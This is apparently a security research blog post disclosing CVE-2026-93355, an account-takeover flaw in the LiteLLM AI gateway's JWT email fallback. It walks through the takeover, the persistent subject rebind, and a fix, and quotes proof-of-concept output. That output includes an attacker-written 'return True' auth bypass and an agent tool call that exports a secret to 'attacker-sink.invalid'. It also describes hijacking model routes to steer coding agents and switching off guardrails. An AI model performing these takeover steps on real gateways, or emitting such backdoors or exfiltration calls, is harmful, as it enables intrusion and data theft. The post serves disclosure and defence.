A Real Token, a Borrowed Name: Becoming Someone Else's Admin in LiteLLM (CVE-2026-93355)
· 10 min read · Joel Estibeiro

Consider the oldest con there is: not a forged signature, but a borrowed name. The trick was never a flawless fake — it's confidence. You walk in, introduce yourself as someone who matters, sign your claim in your own genuine hand, and let everyone's willingness to trust a stated identity do the rest. The signature is real. What nobody checks is whether the name you're claiming is yours to use.
CVE-2026-93355 is that con, in an AI gateway. LiteLLM is the proxy a huge number of teams put in front of their models: one OpenAI-compatible endpoint, keys and budgets and RBAC behind it, SSO on the front door. In every released version to date — the CVE names 1.102.1, but it remains unpatched past it — when you sign in with a JWT from your identity provider, LiteLLM figures out who you are by falling back to matching the email in your token — and it never checks whether that email was ever verified. Put someone else's email on your own perfectly valid token, and LiteLLM introduces you to itself as them. Including, if they're an admin, as the admin.
We reproduced it end to end against LiteLLM's own code — a benign, offline proof that runs the real _get_fuzzy_user_object resolver and the real JWT claim extraction out of the pinned 1.102.1 package. Here is how a claim nobody reads becomes an admin session nobody granted, and why deleting the duplicate email won't save you.

The setup: a token says who you are
An OIDC login is a chain of trust with one deliberate gap. Your identity provider — Entra ID, Auth0, Keycloak, Google — authenticates you and hands you a signed JWT full of claims: a subject (sub, a stable ID for your account), an email, and, importantly, an email_verified boolean. That last claim exists precisely because an IdP will happily put an email on a token before confirming you own it. You can register an account, type any address into your profile, and — depending on the provider and its configuration — receive tokens that carry that address with email_verified: false. The standard is explicit that the relying party (here, LiteLLM) must decide whether an unverified email is trustworthy. The claim is the IdP saying: I have not checked this. Over to you.
LiteLLM takes the token, validates its signature against the IdP's keys — correctly — and then has to answer a question the signature doesn't: which LiteLLM user is this? Its resolver, get_user_object(), tries the stable subject first. On a miss it falls through to a fuzzy lookup. That fallback is the whole story.
The trap: identity by email, unverified
Here is LiteLLM's actual fallback, from litellm/proxy/auth/auth_checks.py in 1.102.1 — not our paraphrase:
if response is None and user_email is not None:
# Use case-insensitive query to handle emails with different casing
response = await _user_table(UserRepository(prisma_client)).find_first(
where={"user_email": {"equals": user_email, "mode": "insensitive"}},
include={"organization_memberships": True},
)
if response is not None and sso_user_id is not None: # update sso_user_id
asyncio.create_task( # background task to update user with sso id
_user_table(UserRepository(prisma_client)).update(
where={"user_id": response.user_id},
data={"sso_user_id": sso_user_id},
)
)
Read it as an attacker. The row you get back is whoever owns that email in LiteLLM's table — their user_id, their role, their org memberships. If the org pre-provisioned an admin by email — a completely normal onboarding step, "make alice@corp the proxy_admin before she first logs in" — then presenting a token bearing alice@corp returns Alice's proxy_admin row. Nowhere in this function, and nowhere in the claim extraction that feeds it (JWTHandler.get_user_email), is email_verified ever consulted. The signature was real. The name above it was never checked.
And then the second half — the part that turns a session into tenure. On a successful email match, LiteLLM fires a background task that rewrites the matched user's sso_user_id to your subject. It's meant as a convenience: link this SSO identity to the account so next time the fast path works. But "this SSO identity" is the attacker's. After one login, the victim's account is bound to the attacker's sub.
Proving it runs the real code
The easy way to overclaim a CVE is to re-implement the buggy logic in a toy and demo the toy. We didn't. The lab installs litellm[proxy]==1.102.1 and, before anything else, inspects the installed source to prove we're exercising the vulnerable path — and would notice the day it's patched:
Installed litellm version: 1.102.1
[PASS] email fallback: case-insensitive user_email match exists
[PASS] persistence: background create_task overwrites sso_user_id
[PASS] VULNERABLE: _get_fuzzy_user_object never checks email_verified
[PASS] VULNERABLE: JWTHandler.get_user_email never checks email_verified
>>> CONFIRMED: the installed code is the vulnerable path. The PoCs
exercise LiteLLM's own resolution logic, not a re-implementation.
The only things the lab fakes are the two it must: an in-memory user table (a Python list, standing in for Postgres/Prisma) and an ephemeral RSA keypair for the mock IdP. Every decision that matters — extracting the claims, resolving the user, firing the rebind — is LiteLLM's.
The takeover, in one login
Mallory controls her own account at the corporate IdP. She sets her profile email to alice@corp.example and never clicks verify. Her IdP still mints her a valid token — email_verified: false. She presents it:
Mallory's token is cryptographically VALID. Its claims:
sub = oidc|mallory-evil (Mallory's real IdP subject)
email = alice@corp.example (the victim's address)
email_verified = False <-- never verified
LiteLLM extracts identity from the token (its own code):
user_id (sso_user_id) = oidc|mallory-evil
user_email = alice@corp.example
Calling LiteLLM's real _get_fuzzy_user_object() ...
RESULT
Mallory's token resolved to : UserRow(user_id='oidc|alice-2b1c', user_role='proxy_admin', sso_user_id='oidc|mallory-evil')
Inherited role : proxy_admin
>>> ACCOUNT TAKEOVER CONFIRMED
Note the last field of the resolved row: sso_user_id is already oidc|mallory-evil. The row came back as Alice — proxy_admin — but the resolver, in the same breath, stamped Mallory's subject onto it. The attacker signed in under her own name, and the system quietly re-filed the admin's record under it.
With proxy_admin, Mallory reaches the endpoints the CVE calls out by name: API-key management and user management. She can enumerate and mint keys, read and rewrite users. In an AI gateway, the keys are the crown jewels — they're standing credentials to every upstream model provider the org pays for.
The uncomfortable part: you can't fix it by fixing the email
The instinct, once you spot a duplicate/unverified email on an admin account, is to clean it up: rotate Alice's address, remove the collision, move on. It doesn't work, because the rebind already happened. We ran exactly that remediation:
[login #1] Mallory presents (sub=oidc|mallory-evil, email=alice@corp.example, verified=False)
Background write LiteLLM issued during resolution:
{'where': {'user_id': 'oidc|alice-2b1c'}, 'data': {'sso_user_id': 'oidc|mallory-evil'}}
Victim row is now REBOUND to the attacker's subject.
[remediation] Security clears the shared/unverified email from the account.
[login #2] Mallory presents (sub=oidc|mallory-evil, email=mallory@personal.example) — email matches no one.
RESULT
login #2 resolved directly (via sso_user_id) to: proxy_admin
>>> PERSISTENT TAKEOVER CONFIRMED: rotating the email did NOT revoke access.
On the second login Mallory doesn't even send Alice's email — she sends her own, honestly verified. It doesn't matter. Her subject is now Alice's sso_user_id, so the resolver's first, exact lookup hits admin directly and never reaches the email fallback you just cleaned up. The convenience write became a backdoor with the attacker's name on the lock. This is why the CVE is scored for a persistent compromise, not a one-shot: the primitive rewrites the very binding you'd use to evict it.
What a proxy_admin actually owns: the AI blast radius
Here is where a tidy authentication finding becomes an AI-security incident, and it's the part worth dwelling on. LiteLLM isn't an app with some data in it. It's an AI gateway — the single pipe that every app, every agent, every RAG pipeline and background job in the org routes its model calls through. It holds the upstream provider keys. It decides which backend a model name like gpt-4o actually points to. It runs the guardrails. It logs every prompt and every completion. proxy_admin is root on that pipe. So the question isn't "whose account did Mallory get?" It's "what happens when one person quietly controls the control plane for all of the organization's AI?"
The nastiest answer is a man-in-the-middle on every model call. A proxy_admin can call /model/update and repoint a model name at an endpoint they control. Nothing downstream changes — every app and agent keeps calling gpt-4o exactly as before — but the traffic now flows through the attacker. We made it concrete with LiteLLM's own routing code (litellm.completion(), the exact call the proxy makes to reach an upstream model), pointed at a rogue endpoint bound to loopback:
Admin repointed the 'gpt-4o' route to: api_base = http://127.0.0.1:… (attacker)
An internal coding agent calls gpt-4o as usual …
WHAT THE AGENT RECEIVED
[ATTACKER-CONTROLLED RESPONSE via hijacked gpt-4o]
def is_authorized(user, token):
return True # <-- attacker made the model emit an auth bypass
+ a tool call the agent would execute: export_file({"path":"<secret>","to":"attacker-sink.invalid"})
RESULT
confidentiality broken (attacker read the prompt) : True
integrity broken (attacker wrote the model's answer) : True
excessive agency (attacker dictates a tool call) : True
Read those three booleans as the three pillars of AI trust, all falling at once:
- Confidentiality. The attacker now reads every prompt and completion routed through that model — source code sent to a coding assistant, customer PII, secrets pasted into prompts, the retrieved context behind every RAG answer.
- Integrity — the agent-hijack kill shot. The attacker rewrites the model's answer. Ask a coding agent for an auth check and get a backdoor. Everything an agent does downstream is built on trusting what the model said; this breaks that trust invisibly, at the one place every agent shares.
- Excessive agency. For a tool-using agent, the response is the next action. Control the response and you control the tool calls — delete data, move money, exfiltrate files — without ever touching the agent's own code.
And model-swapping is only the loudest option. The same admin can switch off the guardrails for the whole org (/guardrails, /config/update) — strip PII masking, prompt-injection and jailbreak filters in one call, for everyone, silently. They can mint unlimited provider keys and read the upstream credentials (/key/generate, credentials, model config), which is both free run of the company's frontier-model access and a denial-of-wallet — run the bill up until legitimate agents start failing. They can redirect the request/response logs to their own sink (/config/callback/…) for passive, continuous exfiltration of all AI traffic going forward. These aren't hypothetical endpoints; they're the administrative surface the CVE itself calls out — "API keys and user management" — seen from the attacker's side.
This is the whole reason the finding matters to anyone building with agents. Owning the AI gateway is strictly more powerful than compromising any single agent, because every agent downstream inherits whatever the gateway tells it. One disclosed CVE, one unverified email, and the attacker is quietly steering the organization's entire model fleet. In OWASP terms you can name it on sight: sensitive-information disclosure, improper output handling, excessive agency, unbounded consumption — a clean sweep, delivered through the front door.
The fix, and why it's only three lines
A quick note on availability, because it matters for anyone running LiteLLM today: there is no fixed release yet. The advisory lists "affected ≤ 1.102.1" only because that was the newest version when it was disclosed. As of this writing LiteLLM has shipped 1.103.x and 1.104.0, and _get_fuzzy_user_object in both — and on main — still contains the same email fallback with no email_verified check. Upgrading does not help; the mitigations below are what you have.
The correct behavior is the one sentence the standard already wrote: don't trust an unverified email. Gate the fallback on the claim that exists for exactly this purpose, before the email is ever used to resolve identity:
email_verified = bool(claims.get("email_verified"))
safe_email = user_email if email_verified else None # the missing check
... _get_fuzzy_user_object(..., user_email=safe_email)
In the lab, that guard blocks Mallory cold and leaves legitimate SSO untouched:
Case A — attacker, unverified email: attack blocked? True
Case B — legitimate user, verified email: login still works? True
>>> FIX VALIDATED
Three lines. The entire vulnerability is their absence. But patch only the symptom and the shape remains — because the deeper defect isn't the missing boolean, it's an identity resolver that treats a mutable, attacker-controllable attribute (email) as a primary key, and then writes back to strengthen the wrong binding. A verified-email check closes today's door. It does not change the fact that the door was hinged on the wrong claim.
What we'd actually do about it
guard0's take, strongest control first:
- Require
email_verifiedat the trust boundary — everywhere a token becomes a user. Not just this resolver. Any place an email off a token maps to an account, an entitlement, or a tenant. Unverified means ignore the email, not fall back to it. - Make the stable subject the identity, and keep it stable. Bind users to the IdP's
subviauser_id_jwt_field, treat email as a display attribute, and never let a lookup silently rewrite the subject binding. A convenience write that changes who an account belongs to is a privilege operation wearing a cache's clothes. - Stop pre-provisioning privileged roles by email. An email-keyed
proxy_adminrow is a loaded gun sitting in the database waiting for anyone who can put that string on a token. If you must pre-provision, key it to a verified subject, or require a verified first login before the role activates. - Least-privilege the blast radius behind the gateway. Admin on the proxy meant admin over every upstream provider key. Scope keys, rotate them, alarm on bulk key reads and user-role changes, and don't let one JWT quietly become the master key to your entire model spend.
- Assume the identity layer is an attack surface, and test it as one. SSO "just working" is not evidence that it's safe. Verify what your gateway does with an unverified email, a colliding email, a changed subject — before someone else does.
The full reproduction — the ground-truth source check, the one-login takeover, the persistence proof, and the validated fix — is on GitHub. The exploit is benign and everything runs locally; reproduce it ethically.
References
- CVE-2026-93355 (NVD) — https://nvd.nist.gov/vuln/detail/CVE-2026-93355
- VulnCheck advisory — https://www.vulncheck.com/advisories/litellm-weak-jwt-authentication-via-email-based-user-lookup
- OX Security write-up (Nir Zadok & Moshe Siman Tov Bustan) — https://www.ox.security/blog/litellm-an-ordinary-login-token-can-become-someone-elses-admin-account/
- LiteLLM — https://github.com/BerriAI/litellm
- Reproduction lab — https://github.com/InertFluid/cve-2026-93355-lab